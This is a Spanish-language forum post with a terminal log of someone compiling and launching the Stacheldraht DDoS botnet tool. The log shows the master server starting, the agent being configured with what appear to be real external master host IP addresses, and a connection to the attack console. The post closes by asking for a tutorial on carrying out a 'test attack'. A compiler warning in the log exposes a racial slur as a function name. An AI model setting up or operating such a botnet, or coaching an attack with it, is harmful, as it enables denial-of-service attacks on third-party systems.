Hola compañeros ,hoy se me ha dado por trastear con este stachel y me ha salido esto:

mint@Mint ~ $ mkdir stachel
mint@Mint ~ $ cd stachel
mint@Mint ~/stachel $ tar zxpf stachelantigl.tar.gz
mint@Mint ~/stachel $ ls
bf_tab.h    client    mserv.c  stachelantigl.tar.gz  tubby.h
blowfish.c  config.h  README   telnetc
blowfish.h  Makefile  setup.c  TODO
mint@Mint ~/stachel $ make
gcc -lcrypt setup.c -o setup
./setup
-Pre-Compilation----------------------
enter the passphrase :
--------------------------------------
Generated CRYPT-PW: zAp3xjL5it9ys
pw.h created..
gcc -lcrypt mserv.c blowfish.c -O6 -o mserv
mserv.c: In function ‘readintmp’:
mserv.c:2321: warning: passing argument 2 of ‘fgetpos’ from incompatible pointer type
mserv.c: In function ‘readinbcasts’:
mserv.c:2375: warning: passing argument 2 of ‘fgetpos’ from incompatible pointer type
blowfish.c: In function ‘encrypt_string2’:
blowfish.c:197: warning: incompatible implicit declaration of built-in function ‘printf’
mint@Mint ~/stachel $ ./setup
-Pre-Compilation----------------------
enter the passphrase :
--------------------------------------
Generated CRYPT-PW: zAEFmY575bXRQ
pw.h created..
mint@Mint ~/stachel $ ./mserv

• -stacheldraht-
• - forking in the background...

0 bcasts were successfully read in.
mint@Mint ~/stachel $ cd client
mint@Mint ~/stachel/client $ make
./setup
-Pre-Compilation----------------------
enter the master host 1 : 127.0.0.1
enter the master host 2 : 0
--------------------------------------
mhosts.h created..
gcc -O6 -fomit-frame-pointer -s -I. td.c blowfish.c -D__LITTLE_ENDIAN_BITFIELD -DLINUX -o td -O6
td.c: In function ‘delmserver’:
td.c:192: warning: passing argument 2 of ‘fgetpos’ from incompatible pointer type
td.c: In function ‘readmservers’:
td.c:242: warning: passing argument 2 of ‘fgetpos’ from incompatible pointer type
syn.c: In function ‘send_tcp_segment’:
syn.c:31: warning: passing argument 1 of ‘ip_sum’ from incompatible pointer type
syn.c:38: warning: passing argument 1 of ‘ip_sum’ from incompatible pointer type
stream.h: In function ‘streamitniggah’:
stream.h:79: warning: passing argument 1 of ‘ip_sum’ from incompatible pointer type
stream.h:80: warning: passing argument 1 of ‘ip_sum’ from incompatible pointer type
udp.c: In function ‘udp’:
udp.c:40: warning: passing argument 1 of ‘ip_sum’ from incompatible pointer type
mint@Mint ~/stachel/client $ ./setup
-Pre-Compilation----------------------
enter the master host 1 : 67.228.25.186
enter the master host 2 : 200.43.229.209
--------------------------------------
mhosts.h created..
mint@Mint ~/stachel/client $ ./td
mint@Mint ~/stachel/client $ cd
mint@Mint ~ $ cd stachel
mint@Mint ~/stachel $ ./mserv

• -stacheldraht-
• - forking in the background...

0 bcasts were successfully read in.
mint@Mint ~/stachel $ cd telnetc
mint@Mint ~/stachel/telnetc $ make
gcc -lcrypt client.c blowfish.c -o client
blowfish.c: In function ‘encrypt_string2’:
blowfish.c:197: warning: incompatible implicit declaration of built-in function ‘printf’
mint@Mint ~/stachel/telnetc $ ./client 127.0.0.1
   

• stacheldraht

(c) in 1999 by randomizer

trying to connect...
connection established.
--------------------------------------
enter the passphrase :
--------------------------------------
authentication failed.
connection closed.
mint@Mint ~/stachel/telnetc $ ./client 127.0.0.1
   

• stacheldraht

(c) in 1999 by randomizer

trying to connect...
connection established.
--------------------------------------
enter the passphrase :
--------------------------------------
entering interactive session.
******************************
   welcome to stacheldraht
******************************
type .help if you are lame

stacheldraht(status: a!0 d!0)>           

Me gustaria que si hay un especialista pe pudiese explicar o si hay un buen tutorial o manual ,ya que no se  como se realiza un ataque test (la verdad no lo acabo de comprender mucho)
 gracias pues Amigos